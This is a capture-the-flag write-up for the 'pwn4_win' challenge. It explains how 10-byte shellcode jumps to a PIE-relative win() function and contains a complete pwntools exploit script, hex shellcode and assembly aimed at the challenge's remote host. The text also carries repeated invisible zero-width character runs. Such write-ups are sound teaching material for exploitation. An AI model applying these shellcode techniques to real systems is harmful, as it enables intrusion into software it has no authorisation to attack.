← Back to Writeups
CUSTOMMediumpwn

pwn4_win

XESXOR9/2/20264 min read
#pwn#custom#medium#pie_relative_offset#saved_rip_self_relative_jump#shellcode_jump#stack_alignment_preservation#tiny_shellcode#linux

pwn4_win

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: pie_relative_offset, saved_rip_self_relative_jump, shellcode_jump, stack_alignment_preservation, tiny_shellcode

Summary

Task: 64-bit PIE ELF with executable stack reads exactly 12 bytes onto the stack and calls them; a win() function reading /flag exists but its PIE address is unknown. Solution: write tiny shellcode that reads the saved return address already on the stack (base+0x12af), subtracts the constant PIE-invariant delta 0xea to compute win() (base+0x11c5), and jumps there without popping to keep rsp 16-byte aligned and avoid a movaps fault in fopen.

pwn4_win — pwn_spbctf

Description

Истина где-то рядом... с функцией main.

English: "The truth is somewhere near... main." — a hint that win() sits at a fixed, small offset from main, i.e. the address of win() can be derived from something already known at runtime rather than leaked.

Given: a 64-bit x86-64 ELF (win.elf), PIE enabled, no canary, and an executable stack (RWX segments, GNU_STACK missing → Stack: Executable). Goal: read /flag on the remote host (nc 109.233.56.90 11661). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

main @ 0x125f:

c
memset(buf = [rbp-0xc], 0, 0xc);
printf("Shellcode: ");
read(0, buf, 0xc);           // EXACTLY 12 bytes read onto the stack
mov rdx, [rbp-0xc];
call rdx;                     // execute the 12 bytes (stack is RWX)

So the program reads exactly 12 bytes of attacker input onto the RWX stack and jumps straight into them. The 12-byte limit is the core constraint — far too small for execve("/bin/sh") and too small to embed a hardcoded address.

win @ 0x11c5: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
fp = fopen("/flag", "r");
memset(...);
fgets(buf, 0x40, fp);
fclose(fp);
buf[strcspn(buf, "\n")] = 0;
printf("Flag is: %s", buf);
exit(0);

win() does everything we need. The only problem: PIE means we don't know its absolute address, so we cannot embed it in the shellcode.

Key insight — compute win() from the saved return address

When call rdx transfers control into our shellcode, the CPU has just pushed the return address onto the stack. That return address is the instruction right after call rdx: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[rsp] = saved RIP = PIE_base + 0x12af
win   = PIE_base + 0x11c5
delta = 0x12af - 0x11c5 = 0xea   (constant, PIE-invariant)

So our shellcode reads the value already at [rsp], subtracts 0xea, and jumps there. Because win and the return site live in the same code page region, a 16-bit sub ax, 0xea is sufficient (the high bits are unchanged) — saving precious bytes.

The movaps stack-alignment trap (critical debugging lesson)

The first working attempt used pop rax; sub ax,0xea; push rax; ret (7 bytes). It reached win() but crashed inside fopen() with a movaps fault. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

glibc 2.31+ uses aligned SSE moves (movaps xmm, [mem]) on the libc call path (fopen, printf, system, ...). These fault if rsp is not 16-byte aligned at the call site. The pop rax consumed 8 bytes off the stack, leaving rsp off by 8 from where win's prologue expects it, so the SSE move inside fopen hit a misaligned address and SIGSEGV'd.

Fix: do not pop. Read the saved RIP in place with mov rax,[rsp], leaving rsp untouched and properly aligned, then jmp rax:

asm
mov rax, [rsp]     ; 48 8b 04 24   rax = saved RIP = base+0x12af
sub ax, 0xea       ; 66 2d ea 00   rax = base+0x11c5 = win()
jmp rax            ; ff e0

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

= 10 bytes (≤ 12). Jumping (not ret) into win preserves the stack layout so win's own prologue lands on a clean 16-byte boundary and movaps inside fopen succeeds.

Solution

Build the 10-byte shellcode, send it after the Shellcode: prompt, and read the flag.

python
#!/usr/bin/env python3
from pwn import *
import time

HOST, PORT = '109.233.56.90', 11661

# At shellcode entry, [rsp] = saved RIP = base+0x12af (return after `call rdx`).
# win = base+0x11c5. delta = 0x12af - 0x11c5 = 0xea.
# IMPORTANT: must preserve rsp alignment (rsp == 8 mod 16 at win entry) so that
# movaps inside fopen() does not fault. So read [rsp] WITHOUT popping, then jmp.
#   mov rax,[rsp]; sub ax,0xea; jmp rax  -> 48 8b 04 24 66 2d ea 00 ff e0  (10 bytes)
sc = bytes.fromhex('488b0424662dea00ffe0')
assert len(sc) <= 12
log.info("shellcode len = %d", len(sc))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recvuntil(b'Shellcode: ')
io.send(sc)
time.sleep(0.6)
data = io.recvall(timeout=4)
print(data.decode(errors='replace'))
io.close()

Output: Flag is: spbctf{REDACTED}. Submit via POST flag on pwn.spbctf.ru to mark the tile solved. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍